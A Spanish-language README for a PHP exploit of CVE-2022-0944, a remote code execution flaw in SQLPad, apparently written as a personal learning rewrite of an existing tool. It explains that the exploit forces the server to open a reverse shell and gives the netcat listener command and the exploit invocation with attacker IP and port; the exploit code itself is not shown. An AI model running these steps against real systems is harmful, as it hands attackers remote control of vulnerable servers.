Cómo funciona:

Este código PHP está diseñado para explotar una vulnerabilidad de Ejecución Remota de Código (RCE) en SQLPad, relacionada con CVE-2022-0944.
Funciona inyectando código malicioso en la aplicación SQLPad, forzándola a ejecutar un comando del sistema que abre una reverse shell – una conexión que otorga al atacante control remoto del sistema vulnerable.

Requisitos previos:

PHP CLI – sudo apt-get install php-cli
cURL (PHP cURL library) – sudo apt-get install php-curl

Uso:

1. Configurar el Listener (en la Máquina Atacante)

Para capturar la conexión reverse shell, inicie Netcat en la máquina del atacante:

nc -lvnp 4444

Ejecutar el Exploit

php exploit.php <root_url> <attacker_ip> <attacker_port>

<root_url>: La URL raíz de la SQLPad vulnerable (p.ej., http://target.com:3000)

<attacker_ip>: La dirección IP del atacante que escucha la conexión reverse shell (misma que la IP de Netcat)

<attacker_port>: El puerto en el que el atacante está escuchando (mismo que el puerto de Netcat)

Referencias

La lógica original del exploit se basó en este repositorio:

🔗 0xRoqeeb/sqlpad-rce-exploit-CVE-2022-0944

Mi objetivo aquí fue entender la lógica del exploit y reescribirlo en otro lenguaje de programación como un desafío personal.

Referencia adicional: 🔗 CVE-2022-0944 – NVD

SQLPad-RCE-Exploit-CVE-2022-0944

Más Populares